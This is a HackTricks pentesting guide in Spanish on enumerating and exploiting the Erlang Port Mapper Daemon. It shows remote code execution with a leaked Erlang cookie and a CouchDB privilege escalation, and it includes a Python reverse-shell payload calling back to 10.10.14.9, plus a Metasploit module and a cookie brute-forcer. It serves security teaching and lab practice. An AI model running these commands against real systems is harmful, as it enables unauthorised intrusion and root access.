5.4 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
El Erlang Port Mapper Daemon (epmd) sirve como coordinador para instancias distribuidas de Erlang. Es responsable de mapear nombres de nodos simbólicos a direcciones de máquina, asegurando esencialmente que cada nombre de nodo esté asociado con una dirección específica. Este papel de epmd es crucial para la interacción y comunicación sin problemas entre diferentes nodos de Erlang a través de una red.
Puerto por defecto: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
Esto se utiliza por defecto en las instalaciones de RabbitMQ y CouchDB.
Enumeración
Manual
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
Automático
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
Erlang Cookie RCE
Conexión Remota
Si puedes filtrar la cookie de autenticación, podrás ejecutar código en el host. Por lo general, esta cookie se encuentra en ~/.erlang.cookie
y es generada por erlang en el primer inicio. Si no se modifica o se establece manualmente, es una cadena aleatoria [A:Z] con una longitud de 20 caracteres.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
Más información en https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
El autor también comparte un programa para hacer bruteforce a la cookie:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
Conexión Local
En este caso, vamos a abusar de CouchDB para escalar privilegios localmente:
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
Ejemplo tomado de https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Puedes usar la máquina Canape HTB para practicar cómo explotar esta vulnerabilidad.
Metasploit
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
Shodan
port:4369 "en el puerto"
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.